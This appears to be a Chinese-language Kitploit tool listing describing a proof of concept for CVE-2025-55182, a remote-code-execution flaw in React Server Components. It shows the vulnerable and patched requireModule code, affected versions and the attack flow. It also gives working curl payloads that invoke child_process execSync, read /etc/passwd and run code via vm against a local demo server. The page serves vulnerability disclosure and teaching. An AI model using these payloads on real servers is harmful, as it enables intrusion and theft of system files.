Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55182-realistic-poc — 一个真实的POC,演示了在 react-server-dom-webpack@19.0.0 中缺少的 `hasOwnProperty` 检查 | Kitploit
工具/GitHubGitHub/joshterrill/cve-2025-55182-realistic-poc
漏洞分析代码分析漏洞利用Web应用程序漏洞利用学习与教育Payload 开发
GitHubjoshterrill/cve-2025-55182-realistic-poc

CVE-2025-55182-realistic-poc

一个真实的POC,演示了在 [email protected] 中缺少的 `hasOwnProperty` 检查

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
119个月前尚未审核
分享

CVE-2025-55182:React 服务端组件 RCE

一个最小的概念验证,展示了 [email protected] 中的严重远程代码执行漏洞。

什么是 CVE-2025-55182?

一个预认证的 RCE 漏洞,存在于 React 服务端组件中,攻击者可以在使用易受攻击的 react-server-dom-webpack 包(版本 19.0.0 - 19.2.0)的服务器上执行任意代码。

CVSS 评分: 10(严重)

受影响包

  • react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0

修复版本

  • 19.0.1, 19.1.2, 19.2.1

漏洞详情

根因:缺少 hasOwnProperty 检查

漏洞存在于 React 的 Flight 协议实现中的 requireModule 函数中。该函数根据从客户端请求接收到的元数据加载模块导出。

易受攻击的代码 ([email protected]):

root@kitploit:~
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  return moduleExports[metadata[NAME]];  // <-- 没有验证!
}

问题在于:metadata[NAME] 来自用户输入(HTTP 请求)。攻击者可以指定任何模块和导出名称,例如 child_process#execSync。

修复方案(PR #35277)

修复后的代码 ([email protected]+):

root@kitploit:~
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

import hasOwnProperty from 'shared/hasOwnProperty';

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  // 已修复:验证导出确实存在
  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
    return moduleExports[metadata[NAME]];
  }
  return (undefined: any);
}

修复添加了 hasOwnProperty.call(),确保请求的导出是模块的自有属性,而不是从原型链继承或可动态解析为危险模块的属性。

攻击向量

  1. 攻击者向服务端 action 端点发送一个精心构造的 HTTP POST 请求
  2. 载荷包含 $ACTION_REF_0 和 $ACTION_0:0 字段
  3. $ACTION_0:0 包含 {"id":"child_process#execSync","bound":["whoami"]}
  4. decodeAction 解析该内容,并使用攻击者控制的元数据调用 requireModule
  5. requireModule 返回 require('child_process').execSync
  6. 该函数被使用攻击者的参数调用 → RCE

概念验证

搭建环境

root@kitploit:~
cd CVE-2025-55182-realistic-poc/
npm install
npm start
# 启动在 http://localhost:3000

执行 RCE

root@kitploit:~
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

预期输出:

root@kitploit:~
{"success":true,"result":"your-username\n"}

其他利用示例

root@kitploit:~
# 读取文件
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# 执行 JavaScript
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'

工作原理

decodeAction 流程

root@kitploit:~
HTTP 请求
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  decodeAction(formData, serverManifest)                     │
│  - 解析 $ACTION_REF_0 以查找 action 引用                    │
│  - 解析 $ACTION_0:0 以获取 {id, bound}                      │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  loadServerReference(serverManifest, id, bound)             │
│  - id = "child_process#execSync" (攻击者控制)               │
│  - bound = ["whoami"] (攻击者控制)                          │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  resolveServerReference(bundlerConfig, id)                  │
│  - 将 "child_process#execSync" 拆分为:                    │
│    specifier = "child_process"                              │
│    name = "execSync"                                        │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  requireModule(metadata)                     [存在漏洞]     │
│  - 加载 require("child_process")                           │
│  - 返回 moduleExports["execSync"]                           │
│  - 未验证 "execSync" 是否应可访问                          │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  action = execSync.bind(null, "whoami")                     │
│  result = action()  → 在服务器上执行 "whoami"               │
└─────────────────────────────────────────────────────────────┘

参考

  • React 安全公告: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
  • GitHub PR #35277(修复): https://github.com/facebook/react/pull/35277
  • CVE 记录: https://nvd.nist.gov/vuln/detail/CVE-2025-55182
  • Wiz 分析: https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182
  • Next.js 公告: https://nextjs.org/blog/CVE-2025-66478

许可证

MIT

下载工具